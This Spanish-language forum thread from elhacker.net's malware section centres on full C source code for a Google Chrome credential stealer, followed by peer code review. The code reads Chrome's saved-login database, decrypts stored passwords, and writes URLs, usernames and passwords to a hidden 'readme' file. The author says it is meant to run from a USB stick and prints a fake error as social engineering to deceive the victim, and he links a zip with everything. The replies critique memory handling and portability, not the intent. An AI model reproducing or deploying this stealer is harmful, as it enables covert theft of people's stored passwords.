elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Trabajando con las ramas de git (tercera parte)


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Análisis y Diseño de Malware (Moderador: fary)
| | |-+  [C] Stealer Google Chrome
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: [C] Stealer Google Chrome  (Leído 4,383 veces)
mester

Desconectado Desconectado

Mensajes: 219


https://www.youtube.com/watch?v=IlY9C6pzxKc


Ver Perfil WWW
[C] Stealer Google Chrome
« en: 30 Marzo 2016, 19:42 pm »

A raíz de este hilo http://foro.elhacker.net/analisis_y_diseno_de_malware/asm_stealer_google_chrome-t447125.0.html decidí pasar el código a C para que me pareciese más familiar, y además "mejorarlo" un poco.

El hecho en ASM por Fary depende de la librería sqlite3.dll.

(EDITO)
Código
  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <windows.h>
  4. #include "sqlite3.c"
  5.  
  6. #define AUTHOR "Mester"
  7.  
  8. char CurUser[40];
  9.  
  10. void ChromeDirectory(char *Disk, char *cDir)
  11. {
  12.  DWORD I = 40;
  13.  
  14.  GetUserName(CurUser, &I);
  15.  sprintf(cDir, "%sUsers\\%s\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data", Disk, CurUser);
  16. }
  17.  
  18. int main()
  19. {
  20.  int Write = 1;
  21.  char *Query = "SELECT origin_url, username_value, password_value FROM logins";
  22.  char *cDir = (char *)malloc(sizeof(char) * 200);
  23.  const char *cData = (char *)malloc(sizeof(char) * 140);
  24.  const char *Bar = "-----------------------------------";
  25.  FILE *sf;
  26.  DATA_BLOB DataIn, DataOut;
  27.  sqlite3 *DB;
  28.  sqlite3_stmt *Stmt;
  29.  
  30.  ChromeDirectory("C:\\", cDir);
  31.  if(sqlite3_open(cDir, &DB) != SQLITE_OK)
  32.  {
  33.    ChromeDirectory("D:\\", cDir);
  34.    if(sqlite3_open(cDir, &DB) != SQLITE_OK)
  35.    {
  36.      ChromeDirectory("E:\\", cDir);
  37.      if(sqlite3_open(cDir, &DB) != SQLITE_OK)
  38.      {
  39.        printf("Error 0x1%s\n", AUTHOR);
  40.        Sleep(1000);
  41.        return 1;
  42.      }
  43.    }
  44.  }
  45.  
  46.  if(sqlite3_prepare_v2(DB, Query, -1, &Stmt, 0) != SQLITE_OK)
  47.  {
  48.   printf("Error 0x2%s\n", AUTHOR);
  49.   Sleep(1000);
  50.    return 1;
  51.  }
  52.  
  53.  sf = fopen("readme", "a+");
  54.  if(sf == NULL)
  55.    Write = 0;
  56.  fprintf(sf, "%s\n%s\n\n", Bar, CurUser);
  57.  
  58.  while(sqlite3_step(Stmt) == SQLITE_ROW)
  59.  {
  60.    cData = sqlite3_column_text(Stmt, 0);
  61.    if(Write)
  62.      fprintf(sf, "URL: %s\n", cData);
  63.    else
  64.      printf("URL: %s\n", cData);
  65.  
  66.    cData = sqlite3_column_text(Stmt, 1);
  67.    if(Write)
  68.      fprintf(sf, "Username: %s\n", cData);
  69.    else
  70.      printf("Username: %s\n", cData);
  71.  
  72.    DataIn.pbData = (BYTE *)sqlite3_column_blob(Stmt, 2);
  73.    DataIn.cbData = sqlite3_column_bytes(Stmt, 2);
  74.  
  75.    CryptUnprotectData(&DataIn, 0, 0, 0, 0, 0, &DataOut);
  76.  
  77.    DataOut.pbData[DataOut.cbData] = '\0';
  78.    if(Write)
  79.      fprintf(sf, "Password: %s\n\n\n", DataOut.pbData);
  80.    else
  81.      printf("Password: %s\n\n\n", DataOut.pbData);
  82.  }
  83.  if(Write)
  84.  {
  85.    fclose(sf);
  86.    SetFileAttributes("readme", FILE_ATTRIBUTE_HIDDEN);
  87.  }
  88.  printf("Error 0x%s", AUTHOR);
  89.  return 0;
  90. }

Éste está preparado para ser ejecutado desde un pendrive. Depende del codigo de sqlite3 ya que coge las funciones del fichero.
Aquí un zip con todo:

https://drive.google.com/file/d/0Bzvog2L4FR24eDFEaUdvTDlZN2c/view?usp=sharing
« Última modificación: 30 Marzo 2016, 23:45 pm por mester » En línea

Justicia es dar a cada uno lo que se merece
fary
Moderador
***
Desconectado Desconectado

Mensajes: 1.062



Ver Perfil WWW
Re: [C] Stealer Google Chrome
« Respuesta #1 en: 30 Marzo 2016, 21:42 pm »

Hola Mester,

Te has molestado en que el nombre de usuario sea el correcto a la hora de acceder a la ruta pero no en que el disco sea el correcto... si yo tengo instalado el SO en el disco D:\ por ejemplo no funcionaría...

Por otra parte el mensaje:

Código
  1. printf("Error 0xc0000007b");

Se muestra siempre? Por que ese mensaje? por que ese numero de error? :xD

900 Kb de ejecutable...  :silbar:

saludos y espero que mejores esas cosillas!
En línea

Un byte a la izquierda.
mester

Desconectado Desconectado

Mensajes: 219


https://www.youtube.com/watch?v=IlY9C6pzxKc


Ver Perfil WWW
Re: [C] Stealer Google Chrome
« Respuesta #2 en: 30 Marzo 2016, 22:09 pm »

Hola Mester,

Te has molestado en que el nombre de usuario sea el correcto a la hora de acceder a la ruta pero no en que el disco sea el correcto... si yo tengo instalado el SO en el disco D:\ por ejemplo no funcionaría...

Vaya, en eso no había pensado Jeje lo tendré en cuenta.

Citar
Por otra parte el mensaje:

Código
  1. printf("Error 0xc0000007b");

Se muestra siempre? Por que ese mensaje? por que ese numero de error? :xD

Ese mensaje es en plan ingeniería social, si se queda colgada la cmd el que lo haya ejecutado tiene de excusa de que su programa falla y lo tiene que corregir. Ese código es el que me da tu stealer porque falla la librería sqlite3 xd por eso en vez de mi programa usar la librería compila las funciones del código oficial.

Citar
900 Kb de ejecutable...  :silbar:

Yaaaaa T.T

Citar
saludos y espero que mejores esas cosillas!

Saludosss
En línea

Justicia es dar a cada uno lo que se merece
AlbertoBSD
Programador y
Moderador Global
***
Desconectado Desconectado

Mensajes: 3.696


🏴 Libertad!!!!!


Ver Perfil WWW
Re: [C] Stealer Google Chrome
« Respuesta #3 en: 2 Abril 2016, 00:41 am »

900 Kb el ejecutable puff.

me imagino que se puede Optimizar via flags del compilador.

creo que cambia mucho de un entorno windows. Por ejemplo en Linux mi Bot para telegram pesa sobre 80KB y se me hace mucho.. ahora decir 900 pues noo
En línea

mester

Desconectado Desconectado

Mensajes: 219


https://www.youtube.com/watch?v=IlY9C6pzxKc


Ver Perfil WWW
Re: [C] Stealer Google Chrome
« Respuesta #4 en: 2 Abril 2016, 00:51 am »

900 Kb el ejecutable puff.

me imagino que se puede Optimizar via flags del compilador.

creo que cambia mucho de un entorno windows. Por ejemplo en Linux mi Bot para telegram pesa sobre 80KB y se me hace mucho.. ahora decir 900 pues noo
900kb de ejecutable porque utiliza la librería estática de sqlite3, por eso pesa tanto. No utiliza librerías dinámicas para asegurar su funcionamiento en cualquier pc
En línea

Justicia es dar a cada uno lo que se merece
crack81

Desconectado Desconectado

Mensajes: 222



Ver Perfil
Re: [C] Stealer Google Chrome
« Respuesta #5 en: 2 Abril 2016, 03:06 am »

Hola primero que nada gracias por el aporte, se mira genial aun no lo pruebo   :P  ya que ando en linux pero pronto  lo hare.

Bueno en fin vengo con una serie de dudas:

Porque te declaras y reservas dos punteros char y no los liberas?
Código
  1. char *cDir = (char *)malloc(sizeof(char) * 200);
  2. const char *cData = (char *)malloc(sizeof(char) * 140);

Ademas que necesidad hay de reservar memoria dinamicamente?
segun vi *CDir lo utilizas en la funcion
Código
  1. void ChromeDirectory(char *Disk, char *cDir)

Pero viendo la implementacion:
Código
  1. void ChromeDirectory(char *Disk, char *cDir)
  2. {
  3.  DWORD I = 40;
  4.  
  5.  GetUserName(CurUser, &I);
  6.  sprintf(cDir, "%sUsers\\%s\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data", Disk, CurUser);
  7. }

Para lo unico que lo utilizas es para pasarle la referencia a la funcion    sprintf
Entonces por que no evitamos resevar dinamicamente y lo hacemos todo en la pila
ejemplo;

Código
  1. char cDir[200];
  2.  
y basta con pasarle la referencia
Código
  1. ChromeDirectory("C:\\", &cDir);

Mismo caso para la variable
Código
  1. const char *cData = (char *)malloc(sizeof(char) * 140);
  2.  

se puede reservar en la pila:
Código
  1. const char  cData[140];

Pero segun veo en tu codigo esa variable cData sirve para obtener el contenido de la funcion sqlite3_column_text()
que segun su documentacion: https://www.sqlite.org/c3ref/column_blob.html
retorna un const unsigned char *, lo cual me indica que al final todo eso que reservaste con malloc en la variable cData de nada sirve ya que terminara apuntado a otra direccion y sera imposible liberar la memoria que has reservado.

Conclusion para la variable cData segun la documentacion no es necesario reservarle memoria ya que solo funciona como apuntador, basta con que la declararas asi:
Código
  1. unsigned char *CData=NULL

Espero mis comentarios no sean tomados a mal.
Saludooss y buen trabajo  :P



« Última modificación: 2 Abril 2016, 03:23 am por crack81 » En línea

Si C/C++ es el padre de los lenguajes entonces ASM es dios.
mester

Desconectado Desconectado

Mensajes: 219


https://www.youtube.com/watch?v=IlY9C6pzxKc


Ver Perfil WWW
Re: [C] Stealer Google Chrome
« Respuesta #6 en: 2 Abril 2016, 03:15 am »

Hola primero que nada gracias por el aporte, se mira genial aun no lo pruebo   :P  ya que ando en linux pero pronto  lo hare.

Bueno en fin vengo con una serie de dudas:

Porque te declaras y reservas dos punteros char y no los liberas?
Código
  1. char *cDir = (char *)malloc(sizeof(char) * 200);
  2. const char *cData = (char *)malloc(sizeof(char) * 140);

Ademas que necesidad hay de reservar memoria dinamicamente?
segun vi *CDir lo utilizas en la funcion
Código
  1. void ChromeDirectory(char *Disk, char *cDir)

Pero viendo la implementacion:
Código
  1. void ChromeDirectory(char *Disk, char *cDir)
  2. {
  3.  DWORD I = 40;
  4.  
  5.  GetUserName(CurUser, &I);
  6.  sprintf(cDir, "%sUsers\\%s\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data", Disk, CurUser);
  7. }

Para lo unico que lo utilizas es para pasarle la referencia a la funcion    sprintf
Entonces por que no evitamos resevar dinamicamente y lo hacemos todo en la pila
ejemplo;

Código
  1. char cDir[200];
  2.  
y basta con pasarle la referencia
Código
  1. ChromeDirectory("C:\\", &cDir);

Mismo caso para la variable
Código
  1. const char *cData = (char *)malloc(sizeof(char) * 140);
  2.  

se puede reservar en la pila:
Código
  1. const char  cData[140];

Pero segun veo en tu codigo esa variable cData sirve para obtener el contenido de la funcion sqlite3_column_text()
que segun su documentacion: https://www.sqlite.org/c3ref/column_blob.html
retorna un const unsigned char *, lo cual me indica que al final todo eso que reservaste con malloc en la variable cData de nada sirve ya que terminara apuntado a otra direccion y sera imposible liberar la memoria que has reservado.

Conclusion para la variable cData segundo la documentacion no es necesario reservarle memoria ya que solo funcion como apuntador, basta con que la declararas asi:
Código
  1. unsigned char *CData=NULL

Espero mis comentarios no sean tomados a mal.
Saludooss y buen trabajo  :P

Para nada me lo tomo a mal, toda crítica es tomada como constructiva.
Cambiaré todo excepto lo de pasarle a la función de Chrome la referencia, es algo que facilita mucho la tarea para encontrar la carpeta.
En cuanto a la variable cData es que no lo había mirado en la documentación, he transcrito el código un poco de ASM a C, pero iré con más cuidado en eso.

Gracias por tu aportación
En línea

Justicia es dar a cada uno lo que se merece
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines